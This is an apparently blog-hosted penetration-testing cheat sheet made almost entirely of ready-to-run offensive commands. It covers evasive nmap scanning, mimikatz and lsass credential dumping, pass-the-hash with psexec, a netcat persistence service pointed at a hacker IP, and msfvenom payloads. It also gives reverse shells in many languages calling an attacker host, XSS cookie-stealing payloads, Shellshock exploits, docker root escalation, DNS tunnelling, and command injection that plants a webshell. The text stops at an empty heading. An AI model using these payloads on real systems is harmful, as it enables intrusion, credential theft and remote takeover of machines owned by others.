Pentest Tips and Tricks

Pentest Handy Tips and Tricks.

Contents

• Other Parts
• Nmap Full Web Vulnerable Scan
• Dirb Dir Bruteforce:
• Nikto web server scanner
• WordPress Scanner
• HTTP Fingerprinting
• SKIP Fish Scanner
• Nmap Ports Scan
• NC Scanning
• Unicornscan
• Xprobe2 OS fingerprinting
• Samba Enumeration
  • SNMP Enumeration
  • Windows Useful cmds
  • PuTTY Link tunnel
  • Meterpreter portfwd
  • Enable RDP Access
  • Turn Off Windows Firewall
  • Meterpreter VNC\RDP
  • Add New user in Windows
  • Mimikatz use
  • Passing the Hash
  • Hashcat password cracking
• Netcat examples
• Banner grabbing with NC
  • Window reverse shell
  • Find SUID\SGID root files
  • Python shell
  • Python\Ruby\PHP HTTP Server
  • Get PIDs of process
  • Hydra rdp Bruteforce
  • Mount Remote Windows Share
  • Compiling Exploit in Kali
  • Compiling Windows Exploits on Kali
  • NASM Commands
  • SSH Pivoting
  • SSH Pivoting from One Network to Another
  • Pivoting Using metasploit
  • Exploit-DB search using CSV File
  • MSF Payloads
  • MSF Linux Reverse Meterpreter Binary
  • MSF Reverse Shell (C Shellcode)
  • MSF Reverse Shell Python Script
  • MSF Reverse ASP Shell
  • MSF Reverse Bash Shell
  • MSF Reverse PHP Shell
  • MSF Reverse Win Bin
  • Linux Security Commands
  • Win Buffer Overflow Exploit Commands
  • SEH - Structured Exception Handling
  • ROP (DEP)
  • ASLR - Address space layout randomization
  • EGG Hunter techniques
  • GDB Debugger Commands
  • BASH Reverse Shell
  • PERL Reverse Shell
  • RUBY Reverse Shell
  • PYTHON Reverse Shell
  • PHP Reverse Shell
  • JAVA Reverse Shell
  • NETCAT Reverse Shell
  • TELNET Reverse Shell
  • XTERM Reverse Shell
  • XSS Cheat Codes
  • SSH Over SCTP (With Socat)
  • Install Metasploit Community Edition in Kali 2.0

Other Parts

• Part 1
• Part 2

Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gznmap -sS -sV --script=vulscan/vulscan.nse targetnmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv targetnmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 targetnmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 targetnmap -sV --script=vuln targetnmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce:

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zipcd httprint_301/linux/./httprint -h http://IP -s signatures.txt

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)2)fargement3)data packed – like orginal one not scan packet4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target5)nmap –source-port 53 targetnmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)nmap -Pn -T2 -sV –randomize-hosts IP1,IP2nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)nmap -sA -PN -sN targetnmap -sS -sV -T5 -F -A -O target (version detection)nmap -sU -v target (Udp)nmap -sU -P0 (Udp)nmap -sC 192.168.31.10-12 (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

us -H -msf -Iv 192.168.56.101 -p 1-65535us -H -mU -Iv 192.168.56.101 -p 1-65535-H resolve hostnames during the reporting phase-m scan mode (sf - tcp, U - udp)-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A targetsmbclient //MOUNT/share -I target -Nrpcclient -U "" targetenum4linux target

SNMP Enumeration

snmpget -v 1 -c public IPsnmpwalk -v 1 -c public IPsnmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Usersnet localgroup Administratorssearch dir/s *.docsystem("start cmd.exe /k $cmd")sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"Procdump.exe -accepteula -ma lsass.exe lsass.dmpmimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bitsC:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel

Forward remote port to local addressplink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/# forward remote port to local addressmeterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141kali > rdesktop 127.0.0.1:3389

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0netsh firewall set service remoteadmin enablenetsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

a# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/run getgui -u admin -p 1234run vnc -p 5043

Add New user in Windows

net user test 1234 /addnet localgroup administrators test /add

Mimikatz use

git clone https://github.com/gentilkiwi/mimikatz.gitprivilege::debugsekurlsa::logonPasswords full

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkitpth-winexe -U hash //IP cmdorapt-get install freerdp-x11xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IPormeterpreter > run post/windows/gather/hashdumpAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set payload windows/meterpreter/reverse_tcpmsf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586cmsf exploit(psexec) > exploitmeterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337#nc 192.168.0.10 31337c:> nc -v -w 30 -p 31337 -l < secret.txt#nc -v -w 2 192.168.0.10 31337 > secret.txt

Banner grabbing with NC

nc 192.168.0.10 80GET / HTTP/1.1Host: 192.168.0.10User-Agent: Mozilla/4.0Referrer: www.example.com<enter><enter>

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exenc 192.168.0.10 31337c:>nc example.com 80 -e cmd.exenc -lp 80nc -lp 31337 -e /bin/bashnc 192.168.0.10 31337nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root filesfind / -user root -perm -4000 -print# Find SGID root files:find / -group root -perm -2000 -print# Find SUID and SGID files owned by anyone:find / -perm -4000 -o -perm -2000 -print# Find files that are not owned by any user:find / -nouser -print# Find files that are not owned by any group:find / -nogroup -print# Find symlinks and what they point to:find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServerpython3 -m http.serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"php -S 0.0.0.0:8888

Get PIDs of process

fuser -nv tcp 80fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Mount Remote Windows Share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/downloadwine mingw-get-setup.exeselect mingw32-basecd /root/.wine/drive_c/windowswget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zipcd /root/.wine/drive_c/MinGW/binwine gcc -o ability.exe /tmp/exploit.c -lwsock32wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asmnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D 127.0.0.1:1080 -p 22 user@IPAdd socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains commands target

SSH Pivoting from One Network to Another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1Add socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2Add socks4 127.0.0.1 1081 in /etc/proxychains.confproxychains commands target

Pivoting Using metasploit

route add X.X.X.X 255.255.255.0 1use auxiliary/server/socks4arunproxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP Eor# https://www.offensive-security.com/metasploit-unleashed/pivoting/meterpreter > ipconfigIP Address  : 10.1.13.3meterpreter > run autoroute -s 10.1.13.0/24meterpreter > run autoroute -p10.1.13.0          255.255.255.0      Session 1meterpreter > Ctrl+Zmsf auxiliary(tcp) > use exploit/windows/smb/psexecmsf exploit(psexec) > set RHOST 10.1.13.2msf exploit(psexec) > exploitmeterpreter > ipconfigIP Address  : 10.1.13.2

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.gitcd exploit-database./searchsploit –u./searchsploit apache 2.2./searchsploit "Linux Kernel"cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exemsfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.phpmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.phpadd <?php at the beginningperl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bitfind / -uid 0 -perm -4000# find things that are world writablefind / -perm -o=w# find names with dots and spaces, there shouldn’t be anyfind / -name " " -printfind / -name ".." -printfind / -name ". " -printfind / -name " " -print# find files that are not owned by anyonefind / -nouser# look for files that are unlinkedlsof +L1# get information about procceses with open portslsof -i# look for weird things in arparp -a# look at all accounts including ADgetent passwd# look at all groups and membership including ADgetent group# list crontabs for all users including ADfor user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done# generate random passwordscat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4# find all immutable files, there should not be anyfind . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’# fix immutable fileschattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f cCOMMONLY USED BAD CHARACTERS:\x00\x0a\x0d\x20                              For http request\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)# Useful Commands:pattern createpattern offset (EIP Address)pattern offset (ESP Address)add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )!pvefindaddr pattern_create 5000!pvefindaddr suggest!pvefindaddr modules!pvefindaddr nosafeseh!mona config -set workingfolder C:\Mona\%p!mona config -get workingfolder!mona mod!mona bytearray -b "\x00\x0a"!mona pc 5000!mona po EIP!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH!mona suggest!mona nosafesehnseh="\xeb\x06\x90\x90" (next seh chain)iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

# https://en.wikipedia.org/wiki/Return-oriented_programming# https://en.wikipedia.org/wiki/Data_Execution_Prevention!mona modules!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/# http://www.fuzzysecurity.com/tutorials/expDev/4.html!mona jmp -r esp!mona egg -t lxxl\xeb\xc4 (jump backward -60)buff=lxxllxxl+shell!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpointbreak *_start# Execute Next Instructionnextstepns# Continue Executioncontinuec# Datachecking 'REGISTERS' and 'MEMORY'# Display Register Values: (Decimal,Binary,Hex)print /d –> Decimalprint /t –> Binaryprint /x –> HexO/P :(gdb) print /d $eax$17 = 13(gdb) print /t $eax$18 = 1101(gdb) print /x $eax$19 = 0xd(gdb)# Display values of specific memory locationscommand : x/nyz (Examine)n –> Number of fields to display ==>y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1exec /bin/bash 0&0 2>&0exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&1960<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; doneexec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done # or:while read line 0<&5; do $line 2>&5 >&5; done/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'# for win platformperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'# for win platformruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444nc -e /bin/sh 192.168.37.10 443# If the -e option is disabled, try this# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 443rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/# If you have the wrong version of netcat installed, tryrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcpmknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)apt-get install xnestXnest :1# Then remember to authorise on your system the target IP to connect to youxterm -display 127.0.0.1:1# Run this INSIDE the spawned xterm on the open X Serverxhost +targetip# Then on the target connect back to the your X Serverxterm -display attackerip:1/usr/openwin/bin/xterm -display attackerip:1or$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet("< iframes > src=http://IP:PORT </ iframes >")<script>document.location=http://IP:PORT</script>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>";!–"<XSS>=&amp;amp;{()}<IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG """><SCRIPT>alert("XSS")</SCRIPT>""><IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;><IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041><IMG SRC="jav ascript:alert('XSS');">perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>(">< iframes http://google.com < iframes >)<BODY BACKGROUND="javascript:alert('XSS')"><FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>"><script >alert(document.cookie)</script>%253cscript%253ealert(document.cookie)%253c/script%253e"><s"%2b"cript>alert(document.cookie)</script>%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP$ socat SCTP-LISTEN:80,fork TCP:localhost:22# localhost# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80# create socks proxy# replace username and -p port value as needed...$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urlshttps://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Versionwget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run# create user$ /opt/metasploit/createuser[*] Please enter a username: root[*] Creating user 'root' with password 'LsRRV[I^5' ...# activate your metasploit licensehttps://localhost:3790# update metasploite$ /opt/metasploit/app/msfupdate# use msfconsole$ /opt/metasploit/app/msfconsole

---

Pentest Tips and Tricks was published on July 01, 2015 and last modified on July 01, 2015.

Tor Nat Traversal

# install to server$ apt-get install tor torsocks# bind ssh to tor service port 80# /etc/tor/torrcSocksPolicy accept 127.0.0.1SocksPolicy accept 192.168.0.0/16Log notice file /var/log/tor/notices.logRunAsDaemon 1HiddenServiceDir /var/lib/tor/ssh_hidden_service/HiddenServicePort 80 127.0.0.1:22PublishServerDescriptor 0$ /etc/init.d/tor start$ cat /var/lib/tor/ssh_hidden_service/hostname3l5zstvt1zk5jhl662.onion# ssh connect from client$ apt-get install torsocks$ torsocks ssh [e-mail] -p 80

DNS brute forcing with fierce

# http://ha.ckers.org/fierce/$ ./fierce.pl -dns example.com$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil metadata gathering tool

# http://www.edge-security.com/metagoofil.php#automate search engine document retrieval and analysis. It also has the capability to provide MAC# addresses, username listings, and more$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

A best NMAP scan strategy

# A best nmap scan strategy for networks of all sizes# Host Discovery - Generate Live Hosts List$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt# Port Discovery - Most Common Ports# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt# Port Discovery - Full Port Scans (UDP is very slow)$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt# Print TCP\UDP Ports$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'# Detect Service Version$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt# Operating System Scan$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt# OS and Service Detect$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Techniques for Avoiding Firewalls

# fragmentation$ nmap -f# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)$ nmap --mtu 24# Generates a random number of decoys$ nmap -D RND:10 [target]# Manually specify the IP addresses of the decoys$ nmap -D decoy1,decoy2,decoy3 etc.# Idle Zombie Scan, first t need to find zombie ip$ nmap -sI [Zombie IP] [Target IP]# Source port number specification$ nmap --source-port 80 IP# Append Random Data to scan packages$ nmap --data-length 25 IP# MAC Address Spoofing, generate different mac for host pc$ nmap --spoof-mac Dell/Apple/3Com IP

Exploit servers to Shellshock

# A tool to find and exploit servers vulnerable to Shellshock# https://github.com/nccgroup/shocker$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose# cat file$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80# bind shell$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80# reverse Shell$ nc -l -p 443$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root with Docker

# get root with docker# user must be in docker groupek@victum:~/docker-test$ iduid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)ek@victum:~$ mkdir docker-testek@victum:~$ cd docker-testek@victum:~$ cat > DockerfileFROM debian:wheezyENV WORKDIR /stuffRUN mkdir -p $WORKDIRVOLUME [ $WORKDIR ]WORKDIR $WORKDIR<< EOFek@victum:~$ docker build -t my-docker-image .ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'./shwhoami# rootek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

Tunneling Over DNS to Bypass Firewall

# Tunneling Data and Commands Over DNS to Bypass Firewalls# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.# server (attacker)$ apt-get update$ apt-get -y install ruby-dev git make g++$ gem install bundler$ git clone https://github.com/iagox86/dnscat2.git$ cd dnscat2/server$ bundle install$ ruby ./dnscat2.rbdnscat2> New session established: 16059dnscat2> session -i 16059# client (victum)# https://downloads.skullsecurity.org/dnscat2/# https://github.com/lukebaggett/dnscat2-powershell$ dnscat --host <dnscat server_ip>

Compile Assemble code

$ nasm -f elf32 simple32.asm -o simple32.o$ ld -m elf_i386 simple32.o simple32$ nasm -f elf64 simple.asm -o simple.o$ ld simple.o -o simple

Pivoting to Internal Network Via Non Interactive Shell

# generate ssh key with shell$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"# add tempuser at attacker ps$ useradd -m tempuser$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys$ chmod 700 /home/tempuser/.ssh/authorized_keys$ chown -R tempuser:tempuser /home/tempuser/.ssh# create reverse ssh shell$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator is a multi-purpose brute-forcer

# git clone https://github.com/lanjelot/patator.git /usr/share/patator# SMTP bruteforce$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

Metasploit Web terminal via Gotty

$ service postgresql start$ msfdb init$ apt-get install golang$ mkdir /root/gocode$ export GOPATH=/root/gocode$ go get github.com/yudai/gotty$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole# open in browser http://127.0.0.1:8080

Get full shell with POST RCE

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl http://victum.tk/shell.php?cmd=id# download reverse shell to server (phpshell.php)http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27# run nc and execute phpshell.phpattacker:~$ nc -nvlp 1337

Exiftool - Read and write meta information in files

$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz$ tar xzf Image-ExifTool-10.13.tar.gz$ cd Image-ExifTool-10.13$ perl Makefile.PL$ make$ ./exiftool main.gif

Get SYSTEM with Admin reverse_shell on Win7

